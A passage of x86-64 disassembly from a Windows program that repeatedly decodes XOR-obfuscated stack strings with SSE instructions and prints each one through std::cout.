andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x60
jl 0x1400023a0
cmp ecx, 0x62
jl 0x1400024a5
mov rcx, r8
jmp 0x1400024ef
movsxd rax, ecx
lea r8, [rbp + 0x740]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x62
jl 0x1400024c0
mov rcx, r10
lea rdx, [rbp + 0x740]
call fcn.140008fb0
movups xmm1, xmmword [0x14000bc40]
movups xmm0, xmmword [0x14000bc30]
movups xmmword [rbp + 0x7c0], xmm1
movups xmmword [rbp + 0x7b0], xmm0
movups xmm1, xmmword [0x14000bc60]
movups xmm0, xmmword [0x14000bc50]
movups xmmword [rbp + 0x7e0], xmm1
movups xmmword [rbp + 0x7d0], xmm0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x14000bc90]
movups xmm1, xmmword [0x14000bc80]
movups xmm0, xmmword [0x14000bc70]
mov r10, r8
mov word [rbp + 0x810], ax
movups xmmword [rbp + 0x800], xmm1
movups xmmword [rbp + 0x7f0], xmm0
xor ecx, ecx
cmp esi, 2
jl 0x1400026b5
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x7b4]
mov r9d, dword [rsp + 0x20]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x60
jl 0x1400025b0
cmp ecx, 0x62
jl 0x1400026b5
mov rcx, r8
jmp 0x1400026ff
movsxd rax, ecx
lea r8, [rbp + 0x7b0]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x62
jl 0x1400026d0
mov rcx, r10
lea rdx, [rbp + 0x7b0]
call fcn.140008fb0
movups xmm1, xmmword [0x14000bad0]
movups xmm0, xmmword [0x14000bac0]
movups xmmword [rbp + 0x830], xmm1
movups xmmword [rbp + 0x820], xmm0
movups xmm1, xmmword [0x14000baf0]
movups xmm0, xmmword [0x14000bae0]
movups xmmword [rbp + 0x850], xmm1
movups xmmword [rbp + 0x840], xmm0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x14000bb20]
movups xmm1, xmmword [0x14000bb10]
movups xmm0, xmmword [0x14000bb00]
mov r10, r8
mov word [rbp + 0x880], ax
movups xmmword [rbp + 0x870], xmm1
movups xmmword [rbp + 0x860], xmm0
xor ecx, ecx
cmp esi, 2
jl 0x1400028c5
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x824]
mov r9d, dword [rsp + 0x20]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x60
jl 0x1400027c0
cmp ecx, 0x62
jl 0x1400028c5
mov rcx, r8
jmp 0x14000290f
movsxd rax, ecx
lea r8, [rbp + 0x820]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x62
jl 0x1400028e0
mov rcx, r10
lea rdx, [rbp + 0x820]
call fcn.140008fb0
movups xmm1, xmmword [0x14000be30]
movups xmm0, xmmword [0x14000be20]
movups xmmword [rbp + 0x8a0], xmm1
movups xmmword [rbp + 0x890], xmm0
movups xmm1, xmmword [0x14000be50]
movups xmm0, xmmword [0x14000be40]
movups xmmword [rbp + 0x8c0], xmm1
movups xmmword [rbp + 0x8b0], xmm0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x14000be80]
movups xmm1, xmmword [0x14000be70]
movups xmm0, xmmword [0x14000be60]
mov r10, r8
mov word [rbp + 0x8f0], ax
movups xmmword [rbp + 0x8e0], xmm1
movups xmmword [rbp + 0x8d0], xmm0
xor ecx, ecx
cmp esi, 2
jl 0x140002ad5
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x894]
mov r9d, dword [rsp + 0x20]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x60
jl 0x1400029d0
cmp ecx, 0x62
jl 0x140002ad5
mov rcx, r8
jmp 0x140002b1f
movsxd rax, ecx
lea r8, [rbp + 0x890]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x62
jl 0x140002af0
mov rcx, r10
lea rdx, [rbp + 0x890]
call fcn.140008fb0
movups xmm1, xmmword [0x14000bad0]
movups xmm0, xmmword [0x14000bac0]
movups xmmword [rbp + 0x910], xmm1
movups xmmword [rbp + 0x900], xmm0
movups xmm1, xmmword [0x14000baf0]
movups xmm0, xmmword [0x14000bae0]
movups xmmword [rbp + 0x930], xmm1
movups xmmword [rbp + 0x920], xmm0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x14000bb20]
movups xmm1, xmmword [0x14000bb10]
movups xmm0, xmmword [0x14000bb00]
mov r10, r8
mov word [rbp + 0x960], ax
movups xmmword [rbp + 0x950], xmm1
movups xmmword [rbp + 0x940], xmm0
xor ecx, ecx
cmp esi, 2
jl 0x140002ce5
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x904]
mov r9d, dword [rsp + 0x20]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x60
jl 0x140002be0
cmp ecx, 0x62
jl 0x140002ce5
mov rcx, r8
jmp 0x140002d2f
movsxd rax, ecx
lea r8, [rbp + 0x900]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x62
jl 0x140002d00
mov rcx, r10
lea rdx, [rbp + 0x900]
call fcn.140008fb0
movups xmm1, xmmword [0x14000bef0]
movups xmm0, xmmword [0x14000bee0]
movups xmmword [rbp + 0x980], xmm1
movups xmmword [rbp + 0x970], xmm0
movups xmm1, xmmword [0x14000bf10]
movups xmm0, xmmword [0x14000bf00]
movups xmmword [rbp + 0x9a0], xmm1
movups xmmword [rbp + 0x990], xmm0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x14000bf40]
movups xmm1, xmmword [str.o_qrstuvwxyz_U_]
movups xmm0, xmmword [0x14000bf20]
mov r10, r8
mov word [rbp + 0x9d0], ax
movups xmmword [rbp + 0x9c0], xmm1
movups xmmword [rbp + 0x9b0], xmm0
xor ecx, ecx
cmp esi, 2
jl 0x140002ef5
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x974]
mov r9d, dword [rsp + 0x20]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x60
jl 0x140002df0
cmp ecx, 0x62
jl 0x140002ef5
mov rcx, r8
jmp 0x140002f3f
movsxd rax, ecx
lea r8, [rbp + 0x970]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x62
jl 0x140002f10
mov rcx, r10
lea rdx, [rbp + 0x970]
call fcn.140008fb0
movups xmm1, xmmword [0x14000bad0]
movups xmm0, xmmword [0x14000bac0]
movups xmmword [rbp + 0x9f0], xmm1
movups xmmword [rbp + 0x9e0], xmm0
movups xmm1, xmmword [0x14000baf0]
movups xmm0, xmmword [0x14000bae0]
movups xmmword [rbp + 0xa10], xmm1
movups xmmword [rbp + 0xa00], xmm0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x14000bb20]
movups xmm1, xmmword [0x14000bb10]
movups xmm0, xmmword [0x14000bb00]
mov r10, r8
mov word [rbp + 0xa40], ax
movups xmmword [rbp + 0xa30], xmm1
movups xmmword [rbp + 0xa20], xmm0
xor ecx, ecx
cmp esi, 2
jl 0x140003105
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x9e4]
mov r9d, dword [rsp + 0x20]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x60
jl 0x140003000
cmp ecx, 0x62
jl 0x140003105
mov rcx, r8
jmp 0x14000314f
movsxd rax, ecx
lea r8, [rbp + 0x9e0]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x62
jl 0x140003120
mov rcx, r10
lea rdx, [rbp + 0x9e0]
call fcn.140008fb0
movups xmm1, xmmword [0x14000ba60]
movups xmm0, xmmword [0x14000ba50]
movups xmmword [rbp + 0xa60], xmm1
movups xmmword [rbp + 0xa50], xmm0
movups xmm1, xmmword [0x14000ba80]
movups xmm0, xmmword [0x14000ba70]
movups xmmword [rbp + 0xa80], xmm1
movups xmmword [rbp + 0xa70], xmm0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x14000bab0]
movups xmm1, xmmword [0x14000baa0]
movups xmm0, xmmword [0x14000ba90]
mov r10, r8
mov word [rbp + 0xab0], ax
movups xmmword [rbp + 0xaa0], xmm1
movups xmmword [rbp + 0xa90], xmm0
xor ecx, ecx
cmp esi, 2
jl 0x140003315
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0xa54]
mov r9d, dword [rsp + 0x20]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x60
jl 0x140003210
cmp ecx, 0x62
jl 0x140003315
mov rcx, r8
jmp 0x14000335f
movsxd rax, ecx
lea r8, [rbp + 0xa50]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x62
jl 0x140003330
mov rcx, r10
lea rdx, [rbp + 0xa50]
call fcn.140008fb0
movups xmm1, xmmword [0x14000bad0]
movups xmm0, xmmword [0x14000bac0]
movups xmmword [rbp + 0xad0], xmm1
movups xmmword [rbp + 0xac0], xmm0
movups xmm1, xmmword [0x14000baf0]
movups xmm0, xmmword [0x14000bae0]
movups xmmword [rbp + 0xaf0], xmm1
movups xmmword [rbp + 0xae0], xmm0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x14000bb20]
movups xmm1, xmmword [0x14000bb10]
movups xmm0, xmmword [0x14000bb00]
mov r10, r8
mov word [rbp + 0xb20], ax
movups xmmword [rbp + 0xb10], xmm1
movups xmmword [rbp + 0xb00], xmm0
xor ecx, ecx
cmp esi, 2
jl 0x140003525
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0xac4]
mov r9d, dword [rsp + 0x20]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x60
jl 0x140003420
cmp ecx, 0x62
jl 0x140003525
mov rcx, r8
jmp 0x14000356f
movsxd rax, ecx
lea r8, [rbp + 0xac0]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x62
jl 0x140003540
mov rcx, r10
lea rdx, [rbp + 0xac0]
call fcn.140008fb0
movups xmm1, xmmword [0x14000c0f0]
movups xmm0, xmmword [0x14000c0e0]
movups xmmword [rbp + 0xb40], xmm1
movups xmmword [rbp + 0xb30], xmm0
movups xmm1, xmmword [0x14000c110]
movups xmm0, xmmword [0x14000c100]
movups xmmword [rbp + 0xb60], xmm1
movups xmmword [rbp + 0xb50], xmm0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x14000c140]
movups xmm1, xmmword [0x14000c130]
movups xmm0, xmmword [0x14000c120]
mov r10, r8
mov word [rbp + 0xb90], ax
movups xmmword [rbp + 0xb80], xmm1
movups xmmword [rbp + 0xb70], xmm0
xor ecx, ecx
cmp esi, 2
jl 0x140003735
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0xb34]
mov r9d, dword [rsp + 0x20]
nop
